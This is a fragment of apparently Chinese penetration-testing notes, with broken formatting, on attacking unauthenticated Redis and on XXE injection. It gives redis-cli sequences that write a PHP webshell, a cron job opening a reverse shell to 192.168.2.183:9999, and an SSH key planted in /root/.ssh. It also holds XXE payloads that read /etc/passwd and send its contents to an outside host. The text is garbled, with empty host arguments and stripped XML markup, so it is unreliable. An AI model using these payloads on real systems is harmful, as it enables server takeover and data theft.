redis-cli -h -p CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET test "<!--?php system($_GET['cmd']); ?-->" SAVE
写计划任务
利用条件
目标机器为centos系列
cetnos系列cron会略过错误的行
原理与写webshell相同
1 2 3 4 5
redis-cli -h -p CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root set test "\n\n\n * * * * * /bin/bash -i >& /dev/tcp/192.168.2.183/9999 0>&1 \n\n\n" SAVE
写ssh public key
1 2 3 4 5
redis-cli -h -p CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys set test "\n\n\n your_key\n\n" SAVE
<!--ENTITY author "John Doe"--> <!-- 外部实体 --> <!--ENTITY author_external SYSTEM "file:///etc/passwd"--> <!-- 参数实体 --> <!--ENTITY % name "to"--> <!-- 调用参数实体 --> <!--ELEMENT note (%name; from, heading, body)--> ]> Tove <!-- 调用实体 --> &author; Reminder Don't forget me this weekend!
危害
敏感文件读取
ddos
ssrf
挖掘
黑盒
content-type为xml,传入xml
白盒
解析了用户传入的xml
开启了外部实体解析
利用
文件包含
远程文件内容
1 2 3 4 5 6 7 8 9 10
<!--ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"--> <!--ENTITY % b "<!ENTITY % c SYSTEM 'http://192.168.2.183:8888/?f=%a;'-->"> %b; %c; ``` xml